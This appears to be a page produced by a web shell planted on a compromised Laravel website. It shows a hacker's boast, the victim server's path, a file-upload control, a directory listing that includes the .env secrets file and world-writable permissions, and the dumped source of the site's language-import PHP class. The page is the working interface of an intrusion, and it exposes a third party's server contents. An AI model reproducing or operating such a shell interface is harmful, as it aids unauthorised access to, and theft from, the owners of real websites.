I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
array = $array; return $this; } public function columnData() { if(!is_array($this->array)) throw new Exception('Pelase Call toArray() Function Before Calling columnData()'); $array = $this->array; $languages = []; if(count($array) > 0) { $header = $array[0][0]; if(strtolower($header[0]) != self::KEY_STRING) { throw new Exception('File upload with wrong format. Make sure the file have language key and key title is "Key"'); } foreach($header as $key => $item) { if($item == null) break; foreach($array as $sheet) { array_shift($sheet); foreach($sheet as $row) { $value = $row[$key] ?? ""; $languages[$item][] = trim($value); } } } } $this->array = $languages; $this->column_data = true; return $this; } public function keyValue() { if($this->column_data == false) throw new Exception('Pelase Call columnData() Function Before Calling keyValue()'); $data = $this->array; $languages_keys = array_shift($data); $language_key_value = []; foreach($languages_keys as $key => $item) { foreach($data as $language_code => $values) { $language_key_value[$language_code][$item] = $values[$key]; } } return $language_key_value; } public function getArray() { if(is_array($this->array)) return $this->array; throw new Exception('Pelase Call columnData() Function Before Calling getArray()'); } public static function getKeys() { $file_name = "predefined_keys.json"; $file_dir_location = base_path('lang'); $file_path = $file_dir_location . "/" . $file_name; $get_keys = file_get_contents($file_path); try{ $keys_array = json_decode($get_keys,true); }catch(Exception $e) { throw new Exception($e->getMessage()); } return $keys_array; } }